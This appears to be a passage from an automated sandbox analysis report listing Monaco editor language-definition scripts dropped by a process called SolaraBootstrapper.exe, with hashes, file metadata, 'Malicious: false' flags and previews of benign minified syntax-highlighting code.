Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/java/java",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.conf={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!\#\%\^\&\\-\=\+\[\{\]\}\\\\|\;\:\'\"\,\.\<\>\/\?\s]+)/g,comments:{lineComment:"//",blockComment:["/","*/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"},{open:"<",c

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\less\less.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3871)
Category:	dropped
Size (bytes):	4278
Entropy (8bit):	5.272728398324189
Encrypted:	false
SSDEEP:	96:hFDMgRsR6rMq+q17qcq6V1+/v+ufj1cCzBbu/2nOgeJamEulIHrraW4NUa:hZE6rr9PuhlzBbu4OLaDuKqW4NUa
MD5:	696EF3DCA27B4F9313DEBA6F99710154
SHA1:	D3B377CAE3355C3FACBECC85BB342D4AF34436CA
SHA-256:	ED8D1A9DA4E62D1CFFE4C83580C9DF57D688E850A45ACE72C11BDEB064520A16
SHA-512:	F9F65F8730FAC803CB01D127C467359F428DBCC8E368F40A15FD56B7150B2258E9C581C3A35712CCC2FCDE8A7108C89A33B80CB72721FEA663A11A553657DC29
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/less/less",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.conf={wordPattern:/(#?-?\d\.\d\w%?)\|([@#!.:]?[\w-?]+%?)\|[@#!.]/g,comments:{blockComment:["/","/"],lineComment:"//"},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}",notIn:["string","comment"]},{open:"[",close:"]",notIn:["string","comment"]},{open:"(",close:")",notIn:["string","comment"]},{open:'"',close:'"',notIn:["string","comment"]},{open:"'",close:"'",notIn:["string","comment"]}],surroundingPairs:[{open:"{",close:"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\lua\lua.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5498
Entropy (8bit):	4.132811114110444
Encrypted:	false
SSDEEP:	96:SD3yDUfRD5dyVdO29SvE/TMCL8CvcOAtOfxSVkxMZlMfE:nD4Ldyn7Ss/TMmUtOfxhxjE
MD5:	8706D861294E09A1F2F7E63D19E5FCB7
SHA1:	FA5F4BDC6C2F1728F65C41FB5C539211A24B6F23
SHA-256:	FC2D6FB52A524A56CD8AC53BFE4BAD733F246E76DC73CBEC4C61BE32D282AC42
SHA-512:	1F9297EB4392DB612630F824069AFDC9D49259ABA6361FB0B87372123ADA067BC27D10D0623DC1EB7494DA55C82840C5521F6FEF74C1ADA3B0FD801755234F1F
Malicious:	false
Preview:	/---------------------------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Licensed under the MIT License. See License.txt in the project root for license information.. --------------------------------------------------------------------------------------------/.define(["require", "exports"], function (require, exports) {. 'use strict';. Object.defineProperty(exports, "__esModule", { value: true });. exports.conf = {. comments: {. lineComment: '--',. blockComment: ['--[[', ']]'],. },. brackets: [. ['{', '}'],. ['[', ']'],. ['(', ')'],. ['do', 'end'],. ['then', 'end']. ],. autoClosingPairs: [. { open: '{', close: '}' },. { open: '[', close: ']' },. { open: '(', close: ')' },. { open: '"', close: '"' },. { open: '\'', close: '\

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\markdown\markdown.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text, with very long lines (3151)
Category:	dropped
Size (bytes):	3558
Entropy (8bit):	5.402061611997358
Encrypted:	false
SSDEEP:	48:hFDMgRs/x/ezKo0V1+UbM+VAkYz/6EsAkRrDhaoStqSDHzeyiUSgpo+daswRZuQP:hFDMgRsjV1+b+Vv3EsAkRrteD4
MD5:	CAF4799639D5DF40DFB1B979ED68AF9C
SHA1:	6578CCC5111DDC190C354449BE2630D91A21523B
SHA-256:	EAAF453E0A9F9A604547E564A24E682503189CB9B85C87715BC9B5B6492B6F62
SHA-512:	E787F3F849A40C608C3B35B732F16E4400C2D47E89FF309566AFBC879FE37A7018722B959DC8DDC8C859D76E2F7BC0B85555CD27F7FC5E4D8E51E460ED32C9CA
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/markdown/markdown",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var s="keyword",n="string",o="variable.source",c="delimiter.html",a="attribute.name.html",d="string.html";t.conf={comments:{blockComment:["\x3c!--","--\x3e"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:"<",close:">",notIn:["string"]}],surroundingPairs:[{open:"(",close:")"},{open:"[",close:"]"},{open:"`",close:"`"}],folding:{markers:{start:new RegExp("^\\s*\x3c!-

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\msdax\msdax.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (4889)
Category:	dropped
Size (bytes):	5296
Entropy (8bit):	5.358020639886059
Encrypted:	false
SSDEEP:	96:hFDMgRsHrviqgq+q17qU/E18Qby0qbmofEsl93Bjy2rzR9sJDJOuz3O+PYLq+v6I:hZmrTY8Ey0UJfEI9z+zz3O+PYLZy4axE
MD5:	EAA7BFF8662633AEC211D57FD17CB8CE
SHA1:	3D783A13339A5797FA701165484BBDB70FFC0616
SHA-256:	6AB13356E083C4334E93D3167BDD17D02552508BFD11EA044C880AF3A1DD94F9
SHA-512:	B3C5069DD3B8B56C0C945CD36909E2D7B575D3B804714B724B7F80BF03DE1983A29E33DCE050FF599017ECE4CE22DCE1F01BDDDA7AE2D41B25779455B96F4C00
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/msdax/msdax",["require","exports"],function(E,T){"use strict";Object.defineProperty(T,"__esModule",{value:!0}),T.conf={comments:{lineComment:"//",blockComment:["/","/"]},brackets:[["[","]"],["(",")"],["{","}"]],autoClosingPairs:[{open:'"',close:'"',notIn:["string","comment"]},{open:"'",close:"'",notIn:["string","comment"]},{open:"[",close:"]",notIn:["string","comment"]},{open:"(",close:")",notIn:["string","comment"]},{open:"{",close:"}",notIn:["string","comment"]}]},T.language={defaultToken:"",tokenPostfix:".msdax",ignoreCase:!0,brackets:[{open:"[",close:"]"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\mysql\mysql.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (14475)
Category:	dropped
Size (bytes):	14882
Entropy (8bit):	5.112073612797176
Encrypted:	false
SSDEEP:	384:hALxoDo1S36rNh/xkxnethQZZ62lANnY0k7N6AVzIAtSc2F9/0yW:SLxoDo1e4Nh/xNthQZZgNn67N6AVzIAp
MD5:	6482B3F16CA4F1436D5A5C9B54AB8956
SHA1:	BEC1D967C0DB6CA73CDE65DEBD418F3E2C4DB36C
SHA-256:	7BA586BF9C623DC23F27A46E95A22342CAA1F42D3B19FD9C018EB3B7298206DD
SHA-512:	24B0DCB75254F4D69209D42BED81730C7C9CCAC2230047A8FE46C81DAB5A65618CE59BE1B09100A1A2E42C515EA2A923A9C7084280BC567B2A6EE987CFB11039
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/mysql/mysql",["require","exports"],function(E,T){"use strict";Object.defineProperty(T,"__esModule",{value:!0}),T.conf={comments:{lineComment:"--",blockComment:["/","/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}]},T.language={defaultToken:"",tokenPostfix:".sql",ignoreCase:!0,brackets:[{open:"[",close:"]",token:"delim

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\objective-c\objective-c.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2387)
Category:	dropped
Size (bytes):	2794
Entropy (8bit):	5.152653484284549
Encrypted:	false
SSDEEP:	48:hFDMgRs/B2K5rDQ0V1+/n0V1+/XTmT4ZThFk+VAC8DFYbmXCm:hFDMgRslrbV1+/0V1+/jmTElRVACaVF
MD5:	3BA48944CCDA06514BF9723A2308B4C8
SHA1:	E9EBAC91264E0510F8FF80710244C3CE56AEE1B4
SHA-256:	35AF39BAF166F7C2E3C95345B10EC46AA523F98783DAA745AEF64503019E3253
SHA-512:	B8B1096188BF3837A696353988C4BD1B21F1CBDE54A9CE8436F139765189C5DC8FFB02AD931A364D4780FB7FBB7DC18A600CC19A5DB3E1A412F38D7269A24030
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/objective-c/objective-c",["require","exports"],function(e,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.conf={comments:{lineComment:"//",blockComment:["/","/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}]},n.language={defaultToken:"",tokenPostfix:".objective-c",keywords:["#import","#include","#def

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\pgsql\pgsql.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (17607)
Category:	dropped
Size (bytes):	18014
Entropy (8bit):	5.215562324868787
Encrypted:	false
SSDEEP:	384:hhLx5HtCBHHfrxrOmYbatR9uwX6l+qCVFQBTI7e9/asW:PLx5HtCBHHfrxrOmGaZKgKBTIuisW
MD5:	7183810944428C812B3F9F4ED4ADBB6D
SHA1:	5931E0E973678B836F548D11095B77398F7C38E5
SHA-256:	A9487E85B74FD293C0131AE9BC181E72BAECF5A0A6F8B71E97770D79332C09C0
SHA-512:	A0EB6A021B24DB38B98C7DB1C5584BF190F789E5CB65FE13B7FB881FFF1665CDAA7914556E0C0984F620B55B63A7B9F7902B706D596B2603E8720DC85DFA185F
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/pgsql/pgsql",["require","exports"],function(_,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.conf={comments:{lineComment:"--",blockComment:["/","/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}]},e.language={defaultToken:"",tokenPostfix:".sql",ignoreCase:!0,brackets:[{open:"[",close:"]",token:"delim

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\php\php.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text, with very long lines (8006)
Category:	dropped
Size (bytes):	8413
Entropy (8bit):	5.361126073471124
Encrypted:	false
SSDEEP:	192:hZe+rrpRld2BZwd0C4Ov6f+AME/gujcm91wIJ3tjPq:hQ+rr7xPSVrgm91w+3t2
MD5:	FFFC04CACEA00100299900C7969E44DD
SHA1:	D15B7AFF67D8FA813C43E35AC58EC08A74F4701B
SHA-256:	AF43769FA1BDEF70DA786C2296C3A5F91552163C78D5C8EDE46620A146EDDA92
SHA-512:	19DD22739EB9373A2B8F4ACD7712D7631ADF1CFBADBDEC9DAC2BDA25E8594731AB30CAA5CF2DEB241C76429F8E381775B60AE5857E4AC6B735F493885C4DAC6F
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/php/php",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.conf={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!\@\#\%\^\&\\-\=\+\[\{\]\}\\\\|\;\:\'\"\,\.\<\>\/\?\s]+)/g,comments:{lineComment:"//",blockComment:["/","*/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}",notIn:["string"]},{open:"[",close:"]",notIn:["string"]},{open:"(",close:")",notIn:["string"]},{open:'"',close:'"',notIn:["string"]},{open:"'",close:"'",notIn:["string","comment"]}],folding:{markers:{start:new RegExp("^\\

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\postiats\postiats.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (7839)
Category:	dropped
Size (bytes):	8246
Entropy (8bit):	5.273054331575847
Encrypted:	false
SSDEEP:	192:hZCrsRJNHUKhfdGiAQ3Sv0vExaeZtSkgsv:hsrsbNHsQ3SMMYcF
MD5:	0C7A2538121071FD75D9F08806500EA3
SHA1:	968D9EE1B928CF62712EC69D5F02AEB025CC3623
SHA-256:	E49FE4654AE374D12DC7A4CB210BA95F490982A014886EDE88A0DAD3FD99A760
SHA-512:	AE39EDD35BD9CAA13C4E263910CE93375BEADEBBEE846EF8D5E5DA1D8F054E236FF3310E2938FCF3F9D1EEFDE1BBE03C20DDAAD243A73F6249D8A1563F6AFE67
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/postiats/postiats",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.conf={comments:{lineComment:"//",blockComment:["(",")"]},brackets:[["{","}"],["[","]"],["(",")"],["<",">"]],autoClosingPairs:[{open:'"',close:'"',notIn:["string","comment"]},{open:"{",close:"}",notIn:["string","comment"]},{open:"[",close:"]",notIn:["string","comment"]},{open:"(",close:")",notIn:["string","comment"]}]},t.language={tokenPostfix:".pats",defaultToken:"invalid",keywords:["abstype","abst0ype","absprop","absview","absvtype","absvie

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\powershell\powershell.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3256)
Category:	dropped
Size (bytes):	3663
Entropy (8bit):	5.464517498984316
Encrypted:	false
SSDEEP:	96:hFDMgRsYCGx+lsV1+K6V1+/6cnLsxxeGub2vLycArt6Gr9DB:hZFl+l0yFQQjMJ6Grf
MD5:	25CBB67F273E62A6D0E6DD5C123F5963
SHA1:	81FCAF88C071E6B72648464F1BFDF8FC4FE8CCA6
SHA-256:	D47B6E2970B4BBCD0EB8E4EF69EB2052B117E36AB20C68605A1750AD5991EB51
SHA-512:	94D265EB4E5C91ABF3EDAC2CF17BB37B0402CAE1DBFDF950C12C7B176BAE89EDA618286DA5F51286D2BA684C4FD894DBC138EBDCF2A0B497BBF51BE892A8606E
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/powershell/powershell",["require","exports"],function(e,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.conf={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!\@\#%\^\&\*\=\+\[\{\]\}\\\\|\;\:\'\"\,\.\<\>\/\?\s]+)/g,comments:{lineComment:"#",blockComment:["<#","#>"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"',notIn:["string"]},{open:"'",close:"'",notIn:["string","comment"]}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"}

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\pug\pug.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text, with very long lines (4801)
Category:	dropped
Size (bytes):	5208
Entropy (8bit):	5.0930716222982095
Encrypted:	false
SSDEEP:	96:hFDMgRsnreqgq+q+q15cmFIfnzvN0EJ40LW+LmlgKGJ6V0+piF6ywZ62x3Yxx:hZGrj5xQvKgK2boV0YivwZ6e3Ax
MD5:	4CCE0B17D4F7BF474A5101763EC17C9C
SHA1:	880F10CB67AB667C20D20EE7A53182F5C841DA87
SHA-256:	CDAD9F84576583B68A10519C4F23BA36CD4422CBB7A44FDED2C99A1E823E8043
SHA-512:	9A4B988C88F888355D67F650B8CC3DB8601743037B48497050CEDBD61BF0B1C8864B230279322B4F05FFA8D628FD2979E6FC61E366C7EFE633AFA5439C6F38C7
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/pug/pug",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.conf={comments:{lineComment:"//"},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:'"',close:'"',notIn:["string","comment"]},{open:"'",close:"'",notIn:["string","comment"]},{open:"{",close:"}",notIn:["string","comment"]},{open:"[",close:"]",notIn:["string","comment"]},{open:"(",close:")",notIn:["string","comment"]}],folding:{offSide:!0}},t.language={defaultToken:"",tokenPostfix:".pug",ignoreCase:!0,brackets:[{token:"delimiter.curly",open

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\python\python.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3001)
Category:	dropped
Size (bytes):	3408
Entropy (8bit):	5.068628361364933
Encrypted:	false
SSDEEP:	96:hFDMgRsbwV1+K6V1+/gT0g84Ph/F0vcyBBj1dA1TUT27F:hZOYyf0g84PjbS/G1TUTIF
MD5:	D3618CE8D5AEC23FFF67CED39C79EBD9
SHA1:	2C66C7B3D631784CE297AD081FDFFE48E1739EEC
SHA-256:	8B98AEB80E1FD053E80CDFBF79437338D8B1081CCBD999C5373DA225777296AD
SHA-512:	8A6D270AA09FA215FDE2333FEBF0F012C803E83F7EE4091688B91C423408E7B0754D9E1AC3DBC4CB1D8CDE7C06E59A6F140AA38F5C18E43BD2EF544F22B2DCE8
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/python/python",["require","exports"],function(e,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.conf={comments:{lineComment:"#",blockComment:["'''","'''"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"',notIn:["string"]},{open:"'",close:"'",notIn:["string","comment"]}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],folding:{offSide:!0,markers:{start:new RegExp("^\\s*#regio

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\r\r.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2804)
Category:	dropped
Size (bytes):	3211
Entropy (8bit):	5.149479271916287
Encrypted:	false
SSDEEP:	96:hFDMgRs6RdmV1+IV1+OzjmlMhG6URj1AAEQTUTfBprOE:hZnRdijDj5ne5ZTUT5ll
MD5:	BB2637578BA902DCD3EA172CF8C7B7EA
SHA1:	28C77F1E22FFE267C5AC0960938A9E0BC510FE22
SHA-256:	710905BA785B707484AFED8404C2B092F0B7CA4BF5AA35A7D333A7C07AFEE712
SHA-512:	B14E61CBD53971BBBEE1F237B8C44AAF567C738C54376625ADE5DD121A2364DCE69D39F20D6C4F28BD66348DC0832D2B6540D0ACC85B5054E0B6FD81A8999C25
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/r/r",["require","exports"],function(e,o){"use strict";Object.defineProperty(o,"__esModule",{value:!0}),o.conf={comments:{lineComment:"#"},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'}]},o.language={defaultToken:"",tokenPostfix:".r",roxygen:["@param","@return","@name","@rdname","@examples","@include","@docType","@S3method","@TODO","@aliases","@alias","@assignee","@

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\razor\razor.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text, with very long lines (8431)
Category:	dropped
Size (bytes):	8838
Entropy (8bit):	5.286700121966766
Encrypted:	false
SSDEEP:	192:hZnmP+xRERld2BZW40v4Ou6e+vMHjIoQceC8TElNOYJXW:hYP+tsP3zkIoQceCE6JG
MD5:	C87E5B4654C9011E1DF9EEAA10FA4379
SHA1:	25871CADCEBB9EAB44D65EF8483F03C6E4C44723
SHA-256:	2AD872AA67A12A578E652762C21136B9C9E2A741C2752D69EF48C2EB22CC621C
SHA-512:	AAE1EB996D6C157899EA466A184B263DC4380F56615A4C69BC49A49BB30856F55374D8C7DCF159B0D0A8250C24EAA0B8A7B9A40FF2084F20B51BECD3DD5E9535
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/razor/razor",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r="undefined"==typeof monaco?self.monaco:monaco,o=["area","base","br","col","embed","hr","img","input","keygen","link","menuitem","meta","param","source","track","wbr"];t.conf={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!\@\$\^\&\*\-\=\+\[\{\]\}\\\\|\;\:\'\"\,\.\<\>\/\s]+)/g,comments:{blockComment:["\x3c!--","--\x3e"]},brackets:[["\x3c!--","--\x3e"],["<",">"],["{","}"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",cl

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\redis\redis.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3533)
Category:	dropped
Size (bytes):	3940
Entropy (8bit):	5.440020798230755
Encrypted:	false
SSDEEP:	96:hFDMgRs62V1+/0V1+/r1c3kdKsTjuMZF/OmfEjac0pPGKP9XSC1U/W:hZnyxqc3kIsuM//OmMD0pP19Cj/W
MD5:	947B18F3F04FE16FC51BEEA925AAB14B
SHA1:	246F89FE753B6C98202E02BCCB7D4CB4D47ED045
SHA-256:	81D912C3BD211AB866500EBC901EEB628B21E5979587901ADECE649BAFF48F30
SHA-512:	54356CFC1B4F280E3B653E8EC073EFB633BEBAA15386F2CDEFDDB232F141C66B55DE062601EF8306146FC7662BCA6A110F9464DA1B27E481DF2FAF66D035BD6D
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/redis/redis",["require","exports"],function(E,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.conf={brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}]},e.language={defaultToken:"",tokenPostfix:".redis",ignoreCase:!0,brackets:[{open:"[",close:"]",token:"delimiter.square"},{open:"(",close:")",token:"delimiter.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\redshift\redshift.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (11765)
Category:	dropped
Size (bytes):	12172
Entropy (8bit):	5.039131276343241
Encrypted:	false
SSDEEP:	192:hZnzLxzLJlx3dDC5QPsHoa2WMrtSCV0bPjNQoMyIG6r9TjasW:hBLxztR+MJ/WfCuFQobIGe9/asW
MD5:	C08941967AC5BA8CC4A2971B2C888456
SHA1:	22D1A7F1E89D9850507D5EBA78BF734764D7197F
SHA-256:	B461F7951EFFBF085CD7A090DD4E69E54F812A2543F55A4ECACAEE7EF6649BDF
SHA-512:	9311C13BE9E19C0062870BD4C2B92815BF4427056DBBBD6A2EC71ED76C8C66C4138F929776CE788C918C51813A61F0E05F00EAC984B51FBCC16620958F3655CA
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/redshift/redshift",["require","exports"],function(e,_){"use 